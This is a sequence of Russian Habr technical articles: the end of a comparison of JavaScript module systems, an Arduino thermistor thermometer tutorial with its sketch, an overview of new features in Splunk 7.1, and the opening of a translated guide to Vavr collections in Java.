alert(dep1 + dep2);
});
```
 Легко понять/найти зависимости
 Доступ к зависимостям модерируется, можно лениво инициализировать модуль, вычислять runtime-зависимости и прочее
 Можно статически определить почти весь граф зависимостей
 Код немного Verbose, но это хорошая плата за поддерживаемость
 Нужна дополнительная библиотека
###### Доступ к зависимостям. Декларативный
Модули декларируется при написании кода и не загружаются динамически. Статический анализатор кода может однозначно понять какой набор модулей необходим для работы приложения. Так работают практически все конструкции import.
```
import * from "dep1";
import * from "dep2";
```
Так же под такой способ доступа к зависимостям можно отнести и статический AMD define()
```
define('module', ['./deps/dep1', './deps/dep2'], function (dep1, dep2) {
});
```
Статический импорт позволяет сборщикам собирать зависимости, а трансляторам ES6 Modules переделывать код в ES3-совместимый.
 Возможен статический анализ (полный или частичный)
 Возможна трансляция ES6 Modules
 В чистом виде редко применимо
##### Экспортирование из модуля
Чаще всего модули предоставляют какие-то ресурсы, которыми могут пользоваться другие модули. Это могут быть данные, утилиты (формат дат, чисел, i18n и пр). Экспортирование из модуля определяет каким образом модуль говорит «я предоставляю такие-то ресурсы».
###### Экспортирование. Хаотичный экспорт
Модуль экспортирует что угодно, куда угодно, когда угодно
```
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
var dep1 = b;
```
 Засорение глобальной области видимости
 Ад и кошмар, при любом раскладе такое не поддерживается в принципе
###### Экспортирование. Не управляемый экспорт со строгим именем
Если немного модифицировать предыдущий способ, добавив IIFE, то мы получим данный способ. Модуль заранее знает где он будет лежать и как будет называться.
```
var dep1 = (function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
})();
```
Или же немного другой вариант
```
(function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
exports.dep1 = b;
})(exports);
```
Или именованный AMD
```
define('dep1', [], function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
});
```
 Это просто
 Не нужны особые инструменты для сборки и использования таких модулей (кроме AMD)
 Экспортируется только нужное
 Модуль знает куда он экспортируется и какое имя у него будет
###### Экспортирование. «Самоэкспорт» со строгим именем
В основе этого способа лежит специальная функция «регистрации модуля» `ready()`, которую должен вызвать модуль, когда он готов. Она принимает 2 аргумента — имя модуля и ресурсы, которые он предоставляет.
```
(function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
ready('dep1', b);
})();
```
Для загрузки зависимостей такого модуля используется функция `load()`, похожая на `require()`
```
load('dep1', 'dep2', function (dep1, dep2) {
ready('dep3', function () {
return dep1 + dep2;
});
});
```
```
load('dep3', do.stuff);
```
 Модуль экспортируется асинхронно и может отложить свой экспорт
 Модуль не знает где будет лежать
 Модуль экспортируется сам (модуль подчиняет тот модуль, который его использует)
 Модуль знает свое имя и может менять его динамически
 Модуль может зарегистрировать несколько модулей
 Нужна специальная библиотека
###### Экспортирование. Управляемый экспорт с произвольным именем
Модуль не знает ни своего имени ни где он будет лежать. Потребитель модуля сам определяет как будет называться данный модуль в контексте потребителя.
Это CommonJS модуль
```
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
module.exports = b;
```
или анонимный AMD
```
define([], function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
});
```
Мы можем использовать любое имя во время экспорта модуля.
```
var dep1 = require('deps/dep1');
```
 Модуль не знает ни где он лежит ни как он будет называться при использовании
 При переименовании модуля нужно переименовать только файл
 Нужна библиотека для сборки и использования
###### Экспортирование. Честный import/export
Такой способ декларации модулей использует каждый второй язык программирования. Достаточно давно появилась спецификация ECMAScript 6 Modules, поэтому рано или поздно такой синтаксис придет и в JavaScript.
Декларируем модуль.
```
module "deps" {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
export var dep1 = b;
export var dep2 = b + 1;
}
```
Так же можно декларировать модуль без обвязки `module {}`.
 Можно использовать имена по умолчанию и писать меньше
```
import * from "deps";
console.log(dep1);
```
 Можно избежать конфликты имен, используя своеобразное «пространство имен»
```
import "crypto" as ns;
console.log(ns.dep1);
```
 Можно экспортировать часть модуля
```
import {dep1} from "deps";
console.log(dep1);
```
 Знакомые импорты из многих языков — привычно и наглядно
 Это ECMAScript 6
 Нужно транслировать ES6 модуль в ES3-совместимый код, например использовать модули из TypeScript
##### Сбока модулей
Сегодня собирается практически все и модули в том числе. Даже если вы не используете CoffeeScript и AMD, то вы в любом случае собираете ваш проект: конкатенируете файлы, сжимаете их.
###### Без сборки
Все в HTML
```
```
 Это просто
 При увеличение количества модулей приложение перестает быть поддерживаемым и начинает тормозить из-за увеличения числа запросов
 Смешение сущностей HTML и декларация модуля
 Новая сборка — новый .html
###### Сборка модулей. Конкатенация файлов по маске
Собираем
```
$ cat **/*.js > build.js
```
Используем
```
```
 Это достаточно просто
 Загружается только 1 файл
 Для каждого типа сборки нужно создавать новые скрипты
 Файлы могут собираться в произвольном порядке в разных OS и FS
###### Сборка модулей. Препроцессинг
Способ заключается в поиске специальных «меток» в файлах — `include('path/name.js')` или `// include path/name.js` и подобных
```
include('deps/dep1.js');
include('deps/dep2.js');
var moduleName = function () {
return dep1 + dep2;
};
```
Все это разворачивается специальной утилитой в такой формат.
```
/* start of deps/dep1.js */
var dep1 = 1;
/* end of deps/dep1.js */
/* start of deps/dep2.js */
var dep2 = 2;
/* end of deps/dep2.js */
var moduleName = function () {
return dep1 + dep2;
};
```
Соответственно у вложенных модулей могут быть еще зависимости и они также будут загружены рекурсивно.
 Собирается только 1 файл
 Можно сделать какое-никакое «наследование конфигов»
 Для каждого типа сборки нужно создавать новый файл с перечислением всех `include`
 Если препроцессор глупый то возможен дубликат кода и другие артефакты
 При неправильном использовании возможна инъекция кода в модуль
Инъекция кода в модуль ведет к нарушению целостности модуля, влечет проблемы с `"use strict"`, конфликтом имен и прочим неприятностям.
Вот типичный пример
```
(function () {
"use strict";
var i = 3;
include('dep1'); // Не корректное подключение зависимости
return dep1 + i;
})();
```
И его зависимость
```
var i = 4,
dep = 01234;
```
Думаю, вы поняли последствия ;-)
###### Сборка модулей. Статический анализ зависимостей
Статический анализ контента модуля с поиском зависимостей. Такой способ использует r.js (сборщик RequireJS модулей) и browserify (адаптор CommonJS модулей и Node.js инфраструктуры под браузер). Они используют AST парсер, ищут вызовы define/require и таким образом находят зависимости и в отличии от include помещают эти зависимости вне модуля.
Например вот такой модуль
```
require(['dep1', 'dep2'], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
```
если его прогнать через r.js будет переделан вот в такой вид
```
define('dep1', [], function () {
return 1;
});
define('dep2', [], function () {
return 2;
});
require(['dep1', 'dep2'], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
```
browserify ведет себя подобным образом, но собирает в формат посложнее
 Собирается только 1 файл
 Все зависимости прописаны в самом модуле
 Для каждого типа сборки нужно создавать новый файл или делать магию с симлинками
 Препроцессор может не найти некоторые зависимости (Динамически конструируемые имена модулей)
 Для исправления предыдущего пункта нужно писать конфиг, чтобы включить эти модули
###### Сбока модулей. Сборка из конфига
Тут достаточно все очевидно. В конфиге написаны какие модули нужны. Сборщик их включает в сборку и находит зависимости. Затем результат сборки проверяется статически анализатором, который советует что-то добавить или что-то убрать.
Такой способ использует LMD.
```
{
"root": "../js",
"modules": {
"main": "main.js",
"dep1": "deps/dep1.js",
"dep2": "deps/dep2.js"
}
}
```
Вариант, конечно, интересный, но зачем 2 раза писать одно и то же и в модуле и в конфиге?!
Это легко объясняется. LMD не знает о файловой системе, и конфиг фактически является абстрактной файловой системой. Это позволяет не задумываться об относительных путях и во время переноса/переименования модуля не бегать и не менять пути по всему проекту. Используя абстрактную ФС становится возможным получить дешевую Dependency Injection для локализации, подмены конфигов среды и прочих оптимизаций. Еще бывает так, что модули подключаются динамически и статический анализатор не может их найти физически, поэтому приходится вносить запись о модуле в конфиг. Понятно, что прописывать каждый раз модуль в конфиг это шаг назад, поэтому в LMD имеется возможность подключать целые директории с сабдиректориями, используя [glob-инг](http://en.wikipedia.org/wiki/Glob_(programming)) и своеобразный rewrite rule.
Вот этот конфиг идентичен предыдущему
```
{
"root": "../js",
"modules": {
"<%= file %>": "**/*.js"
}
}
```
Вы определяете какие файлы нужны, а потом пишете шаблон и тем самым говорите как их нужно представить этот модуль LMD. Для определения имени LMD использует шаблонизатор из lodash, поэтому можно писать и более [хитрые конструкции](https://github.com/azproduction/lmd/tree/master/examples/features/glob):
```
{
"root": "../js",
"modules": {
"<%= file %><%= dir[0][0].toUpperCase() %><%= dir[0].slice(1, -1) %>": "{controllers,models,views}/*.js"
}
}
```
Итоги этого способа такие:
 Наглядно — все дерево проекта можно описать в одном файле
 Надежно — исключены ошибки анализатора
 Абстрактная файловая система
 Нужно писать конфиг
 Нужен сборщик
##### Инициализация и интерпретация модуля
Это достаточно важный момент, который позволяет сократить лаг при старте приложения, когда выполняется куча кода. Когда код попадает на страницу он инициализируется (написали функцию — она зарегистрировалась под каким-то именем) при инициализации код парсится, валидируется и перегоняется в AST для дальнейшей интерпретации и возможной JIT компиляции. Когда какая-либо функция вызывается ее код интерпретируется.
Функция не инициализирована и не интерпретирована. Инициализируется только JavaScript строка.
```
'function a() {return Math.PI;}';
```
Функция инициализирована.
```
function a() {
return Math.PI;
}
```
Функция инициализирована и интерпретирована.
```
function a() {
return Math.PI;
}
a();
```
Каждая декларация функции и ее вызов занимает какое-то время, особенно на мобильных, поэтому хорошо бы уменьшить это время.
###### Инициализируется и интерпретируется при старте
Модуль поставляется как есть и выполняется при старте программы. Даже если он нам не нужен прям сейчас. Как видите в модуле есть какие-то циклы, которые могут замедлить работу.
```
var dep1 = (function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
})();
```
 Не нужно использовать дополнительные средства
 Если код не большой, то время инициализации не существенно
 При увеличении объема кода начинает проявляться Startup Latency
###### Инициализируется при старте, интерпретируется по требованию
Достаточно популярный сейчас способ, который используют и AMD и модули в Node.js
```
define('dep1', [], function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
});
```
Этот модуль будет инициализирован при старте. Но его тело будет выполнено по требованию, а результат `return b;` закэширован и при следующем вызове интерпретация проходить не будет.
 Не нужно особо сильно менять вид модуля
 Startup Latency существенно сокращается при большом объема кода
 Нужна дополнительная библиотека
###### Инициализируется и интерпретируется по требованию
Небольшая модификация предыдущего метода, позволяющая отложить инициализацию кода. Используется, в основном, для оптимизации загрузки кода на мобильных устройствах. Такую оптимизацию можно сделать для RequireJS и для LMD.
Кусок сборки LMD (не конфиг)
```
{
'dep1': '(function(){var a=10,b="";for(var i=0;i
```
Когда какой-то модуль потребует ресурсы модуля `dep1`, то LMD интерпретирует и инициализирует этот код.
Примерно вот так так:
```
var resources = new Function('return ' + modules['dep1'])()(require, module, exports);
```
Время инициализиции кода через `new Function` может быть немного медленнее, чем через честную инициализацию, но если такую оптимизацию применять с умом, то мы можем выиграть время при старте. Порожденный код через `new Function`, в отличии от `eval()`, может быть оптимизирован JIT-компилятором.
 Эта операция прозрачна для разработчика
 Нужна дополнительная библиотека
 Нужно правильно применять
##### Загрузка внешних зависимостей
Как я уже сказал, в JavaScript@DOM своя атмосфера, поэтому привычные способы загрузки модулей тут не работают. Модули лежат удаленно и их синхронная загрузка не реальна. Если в десктопном приложении мы можем синхронно прилинковать библиотеку «со скоростью света», то в JavaScript@DOM такое вряд-ли реально из-за блокировки EventLoop.
Загружать все сразу мы так же не можем, поэтому приходится что-то придумывать и страдать :)
###### Загрузчик неуправляемого модуля
Под неупровляемым модулем я понимаю просто любой код, который не требует какой-то дополнительной обработки. Таким загрузчиком, например, является `jQuery.getScript(file)`
Делает он примерно следующее:
```
var script = document.createElement('script');
script.src = file;
script.onload = done;
document.head.appendChild(script);
```
Если загружать несколько модулей одновременно, то выполнятся они в порядке загрузки. Бывает так, что нужно выполнить модули в порядке их перечисления. Библиотека LAB.js, например, использует XHR для одновременной загрузки кода скриптов, а потом выполняет этот код последовательно. XHR, в свою очередь, вносит свои ограничения.
```
$LAB
.script("framework.js").wait()
.script("plugin.framework.js");
```
Остальные загрузчики, вроде YepNope и script.js делаю примертно то же самое.
 Дешевое решение
 Могут быть ограничения со стороны XHR или дополнительной писанины
###### Загрузчик «управляемого» модуля
Любая взрослая модульная система поставляется с собственным загрузчиком и может загружать любые модули и их зависимости. Например, это делает функция `require()` и `define()` из RequireJS.
Функция `require()` из RequireJS загрузит необходимые зависимости и зависимости зависимостей и выполнит код этих модулей в указанном порядке.
```
require(['dep1', 'dep2'], function (dep1, dep2) {
console.log(dep1 + dep2);
});
```
В LMD, например, есть такое понятие как бандл — несколько модулей, собранных в один файл. При загрузке этого бандла все его модули становятся доступны любому модулю.
```
_e4fg43a({
'dep1': function () {
return 1;
},
'dep2': 2,
'string': 'Hello, <%= name %>!'
});
```
```
require.bundle('name').then(function () {
// do stuff
});
```
 Управление как загрузкой модулей так и их инициализацией
 Практически прозрачная для разработчика загрузка
 Требует дополнительных инструментов и конфигурации
##### Изоляция модулей
Защищенность модулей или их изоляция нужна, скорее для разработчиков, чем для тех, кто ломает их труды. Прямой и хаотичный доступ к свойствам модулей может при неправильном использовании «испортить код». С другой стороны если в глобальной области видимости нет следов вашего JavaScript, то исследователю вашего кода будет сложнее понять и «сломать» что-то, но тут больше вопрос времени.
###### Модули не изолированы
Модуль или какие-то его части доступны глобально, любой разработчик из любого места может взять и использовать.
```
var dep1 = (function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
})();
```
 Опять же это просто
 Не нужны инструменты
 Нужно задумывать о пространствах имен
 Нет разделения труда у модуля. Он и делает свое дело он же и управляет получением зависимостей
###### Модули изолированы
Модуль не доступен глобально, но его можно получить зная имя — `require('pewpew')`. Скрытие, как я уже сказал, это не цель модульной системы, а следствие. В AMD есть 2 функции с помощью которых можно так или иначе получить доступ к модулю — это `require()` и `define()`. Достаточно только знать кодовое имя модуля, чтобы получить его ресурсы.
```
define('dep3', ['dep1', 'dep2'], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
```
 Модули изолированы от других модулей и нельзя слуайно что-то испортить
 Доступ к другому модулю декларируется явно
 Нужны специальные библиотеки для работы с такими модулями
###### Модули тотально изолированы
Цель таких модулей сделать так, чтобы нельзя было достучаться до модуля извне. Думаю, многие уже видели такие «модули», вот, например:
```
$(function () {
var dep1 = (function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
})();
$('button').click(function () {
console.log(dep1);
});
});
```
Фактически это тотально изолированный модуль, до его внутренностей нельзя достучаться извне. Но это пример одного модуля. Если каждый такой модуль оборачивать в «замыкание», то они не смогут взаимодействовать. Для изоляции нескольких модулей их можно поместить в общую область видимости или прокидывать в их области видимости какие-то общие ресурсы. С помощью этих ресурсов такие модули смогут общаться друг с другом.
Достаточно обернуть такие модули в IEFE:
```
(function () {
/* start of deps/dep1.js */
var dep1 = 1;
/* start of deps/dep2.js */
var dep2 = 2;
var moduleName = function () {
return dep1 + dep2;
};
})();
```
Такой способ сборки использует, например, jQuery.
LMD и browserify так же тотально изолируют модули от окружающей среды, но в отличии от сборки «все-в-одном» их модули изолируются от друг друга и от «управляющей части» сборки.
Собираются они примерно вот в такую структуру:
```
(function (main, modules) {
function lmd_require() {}
// ...
main(lmd_require);
})
(function (require) {
var dep1 = require('dep1');
// ...
}, {
dep1: function (r,m,e) {}
});
```
 В простом случае тотальной изоляции можно легко добиться
 Для остальных случаев нужны дополнительные инструменты
#### Сравнительная таблица популярных эмуляторов модулей в JavaScript
| | AMD,YUI | ES6 | CJS/LMD | IEFE |
| --- | --- | --- | --- | --- |
| Разрешение зависимостей | В модуле+конфиг | В модуле | В конфиге | Ручное |
| Доступ к зависимостям | Динамический | Декларативный | Динамический | Произвольный |
| Экспорт | С произвольныйм именем | Честный import/export | С произвольныйм именем | Хаотичный/Неуправляемый |
| Сбока модулей | Статический анализ | Не нужна/Конкатенация | Сборка из конфига | Конкатенация |
| Интерпретация модуля | По требованию | Нативное решение | По требованию | При старте |
| Изоляция модулей | Изолированы | Изолированы | Тотально изолированы | Не изолированы |
#### Распостраненные форматы модулей
И напоследок немного справочной информации по существующим сегодня «эмуляторам» модульности в JavaScript.
##### No module
```
var moduleName = function () {
return dep1 + dep2;
};
```
##### Namespace
```
var MyNs.moduleName = function () {
return MyNs.dep1 + MyNs.dep2;
};
```
##### IIFE return
```
var moduleName = (function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
}(dep1, dep2));
```
##### IIFE exports
```
(function (exports, dep1, dep2) {
exports.moduleName = function () {
return dep1 + dep2;
};
}(window, dep1, dep2));
```
##### AMD
YUI модули семнтически схожи с AMD. Не буду их демонстрировать.
```
define(["dep1", "dep2"], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
```
##### AMD обертка для CommonJS
```
define(function (require, module, exports) {
var dep1 = require('dep1'),
dep2 = require('dep2');
module.exports = function () {
return dep1 + dep2;
};
});
```
##### CommonJS
```
var dep1 = require('dep1'),
dep2 = require('dep2');
module.exports = function () {
return dep1 + dep2;
};
```
##### UMD
Видно, что сейчас есть минимум 3 формата модулей, которые нужно поддерживать. Одно дело если вы пишете свой проект и можете писать на чем угодно. Другое же дело Open-Source проекты в которых хорошо бы поддерживать все форматы. Все эти модули это всего лишь разные обертки, которые по сути делают одно и то же — забирают ресурсы и предоставляют ресурсы. Не так давно появился проект [UMD: Universal Module Definition](https://github.com/umdjs/umd), который «стандартизировал» универсальную обертку под все форматы.
```
(function (root, factory) {
if (typeof exports === 'object') {
// Формат 1: CommonJS
factory(exports, require('dep1'), require('dep2'));
} else if (typeof define === 'function' && define.amd) {
// Формат 2: AMD (анонимный модуль)
define(['exports', 'dep1', 'dep2'], factory);
} else {
// Формат 3: Экспорт в глобалы
factory(window, root.dep1, root.dep2);
}
})(this, function (exports, dep1, dep2) {
// Экспортируем
exports.moduleName = function () {
return dep1 + dep2;
};
});
```
Понятно, что в разработке такое использовать как-то странно, но на «экспорт» самое то.
#### Почитать
1. [JavaScript Module Pattern: In-Depth](http://www.adequatelygood.com/JavaScript-Module-Pattern-In-Depth.html)
2. [Creating YUI Modules](http://yuilibrary.com/yui/docs/yui/create.html)
3. [Writing Modular JavaScript With AMD, CommonJS & ES Harmony](http://addyosmani.com/writing-modular-js/)
4. [Why AMD?](http://requirejs.org/docs/whyamd.html)
5. [AMD is Not the Answer](http://tomdale.net/2012/01/amd-is-not-the-answer/)
6. [Why not AMD?](http://tagneto.blogspot.ru/2011/11/why-not-amd.html)
7. [Proposal ES6 Modules](http://wiki.ecmascript.org/doku.php?id=harmony:modules)
8. [Playing with ECMAScript.Harmony Modules using Traceur](http://blog.bittersweetryan.com/2013/02/playing-with-ecmascriptharmony-modules.html)
9. [Author In ES6, Transpile To ES5 As A Build-step: A Workflow For Grunt](http://addyosmani.com/blog/author-in-es6-transpile-to-es5-as-a-build-step-a-workflow-for-grunt/)
Ошибки и опечатки шлите, пожалуйста, в ЛС. | https://habr.com/ru/post/181536/ | null | ru | null |
# Практическое использование термистора с Arduino
Здравствуй, Хабрасообщество. После прочтения нескольких статей на хабе Arduino я загорелся заполучить эту игрушку. И вот недавно получил посылку с платой. Затем побаловался со светодиодами и захотел чего-нибудь посерьёзнее. Решил сделать простейший термометр, используя всего термистор, резистор на 10 кОм и LCD дисплей. Кому интересно что получилось — прошу под кат.
#### Начало
Термистор — это переменный резистор, меняющий своё сопротивление в зависимости от температуры окружающей среды.
Нам потребуются следующие детали:
Arduino Uno — 1 шт
Термистор — 1 шт
Резистор c сопротивлением 10 кОм — 1 шт
LCD дисплей HJ1602A — 1 шт
Соединительные перемычки — несколько штук
Всё это у меня было, поэтому я сразу начал проектирование на breadboard.
Ножки к экрану я еще припаял в день покупки.
Затем присоединяем экран к выходам Arduino. У моего экрана распиновка такая.
1 (GND) GND — Земля
2 (VDD) 5v — Питание(+)
3 (VO/Contrast) — Управление контрастностью (сюда я подключил переменный резистор)
4 (RS) — 12 — Канал данных
5 (RW) — 11 — Канал данных
6 (E) — 10 — Канал данных
11 (DB4) — 5 — Канал данных
12 (DB5) — 4 — Канал данных
13 (DB6) — 3 — Канал данных
14 (DB7) — 2 — Канал данных
15 (BL1/Backlight1) — 13 — Питание подсветки(+)
16 (BL2/Backlight2) — GND — Земля(-)
Получилась вот такая картина.
Далее подключим одну ногу термистора к аналоговому входу A4 и резистор на 10 кОм в землю, а вторую ногу термистора к 5V.
В общем то и всё. Аппаратная часть готова. Вот схема.
#### Программирование
С программированием тут всё понятно. Исходный код скетча:
```
// подключаем две библиотеки для работы с LCD и математических вычислений
#include
#include
LiquidCrystal lcd(12, 11, 10, 5, 4, 3, 2); // инициализируем LCD
int backLight = 13;
void setup(void) {
pinMode(backLight, OUTPUT);
digitalWrite(backLight, HIGH);
lcd.begin(16, 2);
lcd.clear();
lcd.setCursor(0,0);
}
// создаем метод для перевода показаний сенсора в градусы Цельсия
double Getterm(int RawADC) {
double temp;
temp = log(((10240000/RawADC) - 10000));
temp = 1 / (0.001129148 + (0.000234125 \* temp) + (0.0000000876741 \* temp \* temp \* temp));
temp = temp - 273.15;
return temp;
}
// создаем метод для вывода на экран показаний сенсора
void printTemp(void) {
double temp = Getterm(analogRead(4)); // считываем показания с сенсора
lcd.clear();
lcd.setCursor(0,0);
lcd.print("Temperature is:");
lcd.setCursor(0,1);
lcd.print(temp);
lcd.print(" C");
}
void loop(void) {
printTemp(); // вызываем метод, созданный ранее
delay(1000);
}
```
Результат работы программы.
 | https://habr.com/ru/post/141691/ | null | ru | null |
# Splunk 7.1. Что нового? Новый веб интерфейс, интеграция с Apache Kafka и многое другое…
[](https://habr.com/company/tssolution/blog/354474/)
Несколько дней назад компания Splunk выпустила новый релиз своей платформы Splunk 7.1 в котором, наверно, произошло самое ожидаемое изменение за последние несколько лет — да, полностью изменился графический интерфейс. В этой статье мы расскажем об основных нововведениях и улучшениях платформы. Что еще нового помимо GUI? Смотрите под кат.
Интерфейс
---------
Как мы уже сказали, да, и наверно это самое заметное изменение, Splunk полностью поменял интерфейс, вплоть до изменения страницы с ошибкой. Внешний вид становится более современным и стильным. Исправлены элементы диаграмм и просмотра событий для повышения удобства восприятия информации. После обновления немного непривычно, но попользовавшись системой пару дней — привыкаешь и начинает нравится. Да, действительно нравится.
Интеграция с Apache Kafka
-------------------------
У Splunk появился коннектор для Kafka. Теперь вы можете стримить ваши данные с Kafka в инсталляцию Splunk, используя Splunk HTTP эвент коллектор. Также в этом релизе Splunk предлагает возможность интеграции с AWS Kinesis Firehose, но в наших реалиях это менее интересно. Подробное описание функционала и инструкция по деплою доступны [здесь](https://www.splunk.com/blog/2018/04/25/splunk-connect-for-kafka-connecting-apache-kafka-with-splunk.html).
Контроль доступа
----------------
Splunk начал серьезно задумываться о безопасности своей платформы и начиная с этого релиза вы забудете о комбинации *admin/changeme*. Теперь вам будет предложено ввести пароль на этапе установки с требованием в 8 символов.
Также в новой версии в целях повышения безопасности появилась возможность настройки расширенных политик учетных записей. Теперь администратор Splunk может устанавливать требования к сложности пароля, срок действия, блокировку после повторных неудачных попыток входа.
Мониторинг состояния компонентов Splunk
---------------------------------------
Ура! Splunk становится более общительным. Теперь когда что-то ломается на этапе сбора/парсинга/индексирования он сам будет пытаться говорить нам об этом и нам не нужно смотреть в лог \_internal и искать, что случилось.
В версии Splunk 7.1 реализована возможность мониторинга работоспособности компонентов Splunk. При отклонениях Splunk может указать причину, сообщения о возникших ошибках и дать советы для решения проблемы. Статус работоспособности указан в строке меню.
Усовершенствование метрик и новые SPL-команды
---------------------------------------------
В релизе 7.0 Splunk появился новый тип индексации данных – метрики. Более подробно о них вы можете прочитать в нашем [обзоре Splunk 7.0](https://habr.com/company/tssolution/blog/340120/). Использование метрик повышает обработку поисковых запросов и уменьшает общую нагрузку на систему. Но в первом релизе инструментарий для работы с метриками был несколько ограничен.
В новой версии была улучшена команда [mstats](http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Mstats), а также добавлена команда [mcollect](http://docs.splunk.com/Documentation/Splunk/7.1.0/SearchReference/Mcollect).
### 1. Улучшение mstats
В 7.0 мы могли вычислять только **один** показатель в этой команде. И для того, чтобы посчитать сразу несколько приходилось использовать дополнительные инструменты, которые усложняли поисковый запрос.
Например:
`| mstats avg(_value) as "Average_speed" WHERE metric_name="car.speed" AND index=car_data span=1m
| appendcols [
| mstats max(_value) as "Max_speed" WHERE metric_name="car.speed" AND index=car_data span=1m ]`
В версии 7.1 появилась возможность вычислять сразу **несколько** показателей в одной команде.
`| mstats avg(_value) as "Average_speed" max(_value) as "Max_speed" WHERE metric_name="car.speed" AND index=car_data span=1m`
### 2. Новая команда mcollect
С помощью команды [mcollect](http://docs.splunk.com/Documentation/Splunk/7.1.0/SearchReference/Mcollect) мы можем преобразовывать результаты поиска в метрики. Перед выполнением команды необходимо создать новый индекс для метрик, в который мы будем сохранять показатели.
Например, создадим метрику количества ошибок:
`ERROR | stats count BY type | rename count AS _value type AS metric_name | mcollect index=my_metric_index`
И да, забыли сказать, они увеличили скорость работы с метриками в 10 раз. Теперь поиск по метрикам еще быстрее!
Обновление Machine Learning Toolkit
-----------------------------------
Также был обновлен инструментарий ML Toolkit, который позволяет получать из Ваших данных ответы на важные вопросы об аномалиях, прогнозах и разделении на кластеры, используя различные алгоритмы машинного обучения.
#### X-means
В первую очередь следует отметить добавление нового алгоритма кластеризации **X-means**, который отличается от стандартного алгоритма кластеризации, K-means, тем, что автоматически определяет оптимальное количество кластеров по Байесовскому информационному критерию. Алгоритм X-means удобно использовать, когда Вы предварительно не знаете на сколько кластеров можно разделить данные.
#### Управление моделями и экспериментами
Также появился единый интерфейс, позволяющий просматривать существующие модели и их параметров, настраивать доступ к экспериментам для различных ролей пользователей, устанавливать алерты, получать историю экспериментов и алертов.
Заключение
----------
Конечно, в новом релизе есть еще множество нововведений и фич, например таких как: **Diagnostic UI**, оптимизация работы с кластерами: минимизировано влияние на работу системы при обновлениях, перезапусках, регулярных запланированных поисковых запросах и многие другие изменения. В рамках статьи мы попытались рассказать Вам о наиболее интересных нововведениях, с которыми может столкнуться каждый, кто использует Splunk.
Дополнительно
-------------
Для наиболее глубокого изучения вопроса стоит установить приложение [Splunk Enterprise 7.1 Overview](https://splunkbase.splunk.com/app/3974/), а также посмотреть официальное [видео](https://www.youtube.com/watch?v=oaHPFrDPTRM) релиза.
Также, не забывайте, что по любым вопросом относительно **Splunk**: его внедрения, обновления, разработки на нем приложений, добавления новых, сложно индексируемых событий и всего прочего мы можем [помочь](https://tssolution.ru/splunk/) вам.
 | https://habr.com/ru/post/354474/ | null | ru | null |
# Руководство по API Коллекций Vavr
**VAVR** (известная ранее, как Javaslang) — это некоммерческая функциональная библиотека для Java 8+. Она позволяет писать функциональный Scala-подобный код в Java и служит для уменьшения количества кода и повышения его качества. [Сайт библиотеки](http://vavr.io).
Под катом — перевод статьи, систематизирующей информацию по **API Коллекций Vavr**.
Перевел **[@middle\_java](http://tele.gg/middle_java)**
Последнее изменение оригинальной статьи: 15 августа 2019 г.
1. Обзор
--------
Библиотека Vavr, известная ранее, как Javaslang, является функциональной библиотекой для Java. В этой статье мы исследуем ее мощный API коллекций.
Дополнительные сведения об этой библиотеке см. в [этой статье](https://www.baeldung.com/vavr).
2. Персистентные Коллекции
--------------------------
Персистентная коллекция при изменении создает новую версию коллекции, не изменяя при этом текущую версию.
Поддержка нескольких версий одной коллекции может привести к неэффективному использованию ЦП и памяти. Однако, библиотека коллекций Vavr преодолевает это, расшаривая структуру данных между различными версиями коллекции.
Это принципиально отличается от `unmodifiableCollection()` из утилитного Java класса `Collections`, который просто предоставляет оболочку (wrapper) для базовой коллекции.
Попытка изменить такую коллекцию приводит к `UnsupportedOperationException` вместо создания новой версии. Более того, базовая коллекция по-прежнему изменяема через прямую ссылку на нее.
3. Traversable
--------------
`Traversable` — это базовый тип всех коллекций Vavr. Этот интерфейс определяет методы, общие для всех структур данных.
Он предоставляет некоторые полезные методы по-умолчанию, такие как `size()`, `get()`, `filter()`, `isEmpty()` и другие, которые наследуются суб-интерфейсами.
Исследуем далее библиотеку коллекций.
4. Seq
------
Начнем с последовательностей.
Интерфейс `Seq` представляет собой последовательные структуры данных. Это родительский интерфейс для `List`, `Stream`, `Queue`, `Array`, `Vector` и `CharSeq`. Все эти структуры данных имеют свои уникальные свойства, которые мы рассмотрим ниже.
### 4.1. List
`List` — это энергично вычисляемая (eagerly-evaluated, операция выполняется, как только становятся известны значения ее операндов) последовательность элементов, расширяющих интерфейс `LinearSeq`.
Персистентные `List` конструируются рекурсивно с использованием **головы** и **хвоста**:
* **Голова** — первый элемент
* **Хвост** — список, содержащий остальные элементы (этот список также формируется из головы и хвоста)
API `List` содержит статические фабричные методы, которые можно использовать для создания `List`. Можно использовать статический метод `of()` для создания экземпляра `List` из одного или нескольких объектов.
Можно также использовать статический метод `empty()` для создания пустого `List` и метод `ofAll()` для создания `List` из типа `Iterable`:
```
List < String > list = List.of(
"Java", "PHP", "Jquery", "JavaScript", "JShell", "JAVA");
```
Рассмотрим некоторые примеры манипулирования списками.
Мы можем использовать метод `drop()` и его варианты для удаления первых `N` элементов:
```
List list1 = list.drop(2);
assertFalse(list1.contains("Java") && list1.contains("PHP"));
List list2 = list.dropRight(2);
assertFalse(list2.contains("JAVA") && list2.contains("JShell"));
List list3 = list.dropUntil(s - > s.contains("Shell"));
assertEquals(list3.size(), 2);
List list4 = list.dropWhile(s - > s.length() > 0);
assertTrue(list4.isEmpty());
```
`drop(int n)` удаляет `n` элементов из списка, начиная с первого элемента, в то время как `dropRight()` делает то же самое, начиная с последнего элемента в списке.
